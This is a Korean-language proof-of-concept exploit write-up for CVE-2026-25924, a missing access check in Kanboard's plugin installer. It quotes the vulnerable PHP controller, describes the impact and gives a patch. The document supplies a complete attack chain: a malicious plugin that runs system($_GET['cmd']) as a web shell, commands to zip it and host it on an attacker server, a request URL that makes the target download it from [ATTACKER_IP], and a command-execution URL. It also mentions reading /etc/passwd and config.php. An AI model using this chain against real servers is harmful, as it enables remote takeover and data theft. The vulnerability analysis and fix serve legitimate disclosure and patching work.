
# CVE-2026-25924 개념 증명 익스플로잇 Kanboard의 플러그인 설치 시 누락된 접근 제어 검사를 통해 관리자 원격 코드 실행을 입증하는 개념 증명 익스플로잇입니다.
보안 제어 우회를 통한 관리자 RCE 개념 증명
공개: 원래 GHSA-grch-p7vf-vc4f를 통해 저자가 보고함
⚠️ 승인된 침투 테스트/연구 목적으로만 사용하세요.
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-25924 |
| 심각도 | 🔴 높음 |
| CVSS 점수 | 8.4 |
| CVSS 벡터 | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-863: 잘못된 권한 부여 |
| 영향받는 제품 | Kanboard ≤ 1.2.49 |
| 패치 버전 | 1.2.50 |
| 권고 | GHSA-grch-p7vf-vc4f |
Kanboard v1.2.49의 보안 제어 우회 취약점으로 인해 인증된 관리자가 완전한 원격 코드 실행(RCE) 을 달성할 수 있습니다. 애플리케이션은 PLUGIN_INSTALLER 구성이 false로 설정된 경우 플러그인 설치 인터페이스를 올바르게 숨기지만, 기본 백엔드 엔드포인트는 이 보안 설정을 검증하지 못합니다. 공격자는 이 허점을 악용하여 서버가 악성 플러그인을 다운로드하고 설치하도록 강제하여 임의 코드 실행을 유발할 수 있습니다.


Kanboard는 원격 URL에서 플러그인을 설치하는 기능을 제한하기 위해 보안 상수 PLUGIN_INSTALLER를 사용합니다. 이는 app/constants.php에 정의되어 있습니다:
파일: app/constants.php
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons
애플리케이션은 PluginController의 show() 및 directory()와 같은 UI 렌더링 메서드에서 Installer::isConfigured()를 사용하여 이 설정을 올바르게 확인합니다:
파일: app/Controller/PluginController.php
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
그러나 동일한 컨트롤러의 install() 메서드는 이 검사를 수행하지 않습니다. CSRF 토큰만 검증한 후 archive_url 매개변수에 제공된 임의 URL에서 플러그인을 다운로드하고 설치합니다.
app/Controller/PluginController.php의 취약한 코드:
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
Installer::install()도 PLUGIN_INSTALLER 상수를 확인하지 않으므로, 관리자는 유효한 CSRF 토큰으로 엔드포인트에 직접 접근하여 의도된 제한을 우회할 수 있습니다. 설치되면 악성 플러그인은 Kanboard\Core\Plugin\Loader에 의해 자동으로 로드되고 실행되어 공격자에게 완전한 RCE를 부여합니다.
Exploit라는 디렉터리를 만들고 Plugin.php 파일을 생성합니다:
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
public function initialize() {
// Web shell listener
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
}
폴더를 압축하고 공격자가 제어하는 서버에 호스팅합니다:
zip -r exploit.zip Exploit/
python3 -m http.server 80

관리자로 Kanboard에 로그인합니다. 페이지 소스에서 csrf_token을 얻고 다음으로 이동합니다:
http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]

cmd 매개변수를 사용하여 임의 시스템 명령을 실행합니다:
http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id


이 취약점으로 인해 관리자가 호스트가 부과한 보안 제한을 우회할 수 있습니다. RCE를 달성함으로써 공격자는 다음을 수행할 수 있습니다:
/etc/passwd, config.php).app/Controller/PluginController.php의 install() 및 update() 메서드 시작 부분에 Installer::isConfigured() 검사를 추가합니다:
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}